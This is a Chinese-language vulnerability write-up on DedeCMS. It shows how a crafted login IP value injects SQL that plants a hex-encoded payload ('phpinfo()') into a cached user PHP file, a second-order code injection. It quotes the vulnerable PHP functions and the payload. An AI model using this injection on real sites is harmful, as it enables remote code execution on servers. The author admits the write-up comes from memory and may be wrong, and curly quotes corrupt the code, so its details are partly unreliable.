Dedecms getip()的漏洞利用代码
author: superhei
team:http://www.ph4nt0m.org
blog:http://superhei.blogbus.com
在用户登陆后把用户信息写如了缓存:\include\inc_memberlogin.php
function FushCache($mid=0)
{
if(empty($mid)) $mid = $this->M_ID;
$dsql = new DedeSql();
$row = $dsql->GetOne(”Select ID,userid,pwd,type,uname,membertype,money,uptime,exptime,scores,newpm From #@__member where ID='{$mid}' “);
if(is_array($row))
{
$scrow = $dsql->GetOne(”Select titles From #@__scores where integral<={$row['scores']} order by integral desc”);
$row['honor'] = $scrow['titles'];
}
if(is_array($row)) return WriteUserInfos($mid,$row); //这里
else return ”;
}
WriteUserInfos()的代码:
//写入用户的会话信息
function WriteUserInfos($uid,$row)
{
$tpath = ceil($uid/5000);
$ndir = dirname(__FILE__).”/cache/user/$tpath/”;
if(!is_dir($ndir)){
mkdir($ndir,0777);
chmod($ndir,0777);
}
$userfile = $ndir.$uid.'.php';
$infos = “<”.”?php\r\n”;
$infos .= “\$cfg_userinfos['wtime'] = ‘”.mytime().”‘;\r\n”;
foreach($row as $k=>$v){
if(ereg('[^0-9]‘,$k)){
$v = str_replace(”‘”,”\\'”,$v); //这个是利用的关键
$v = ereg_replace(”(<\?|\?>)”,”",$v);
$infos .= “\$cfg_userinfos['{$k}'] = ‘{$v}';\r\n”;
}
}
$infos .= “\r\n?”.”>”;
@$fp = fopen($userfile,'w');
@flock($fp);
@fwrite($fp,$infos);
@fclose($fp);
return $infos;
}
我们构造$ipp=”121.11.11.1′,uname=0×68656967655C273B706870696E666F28293B2F2F,uptime='1″;
mysql> select 0×68656967655C273B706870696E666F28293B2F2F;
+——————————————–+
| 0×68656967655C273B706870696E666F28293B2F2F |
+——————————————–+
| heige\';phpinfo();// |
+——————————————–+
1 row in set (0.00 sec)
利用流程:
A:
else{ //成功登录
//$ipp=”121.11.11.1′,uname=0×68656967655C273B706870696E666F28293B2F2F,uptime='1″;
$dsql->ExecuteNoneQuery(”update #@__member set logintime='”.mytime().”‘,loginip='”.$ipp.”‘ where ID='{$row['ID']}';”);
B:FushCache()
$row = $dsql->GetOne(”Select ID,userid,pwd,type,uname,membertype,money,uptime,exptime,scores,newpm From #@__member where ID='{$mid}' “);
C:WriteUserInfos()
heige\';phpinfo();// —str_replace–>heige\\';phpinfo();//—fwrite—>heige\\';phpinfo();//
===>$cfg_userinfos['uname'] = ‘heige\\';phpinfo();//'; 完美闭和前面的'
其中str_replace的部分相当于代码:
<?php
$v=”heige\';phpinfo();//”;
$v = str_replace(”‘”,”\\'”,$v);
print $v;
?>
整个过程其实就是一个很完整的”二次攻击”,而str_replace(”‘”,”\\'”,$v);起了关键性的作用
[因为这个漏洞当我pc上有那么段时间了,这个文章很多都是凭记忆写的,可能有错误,有兴趣的同学可以自己跟一下。]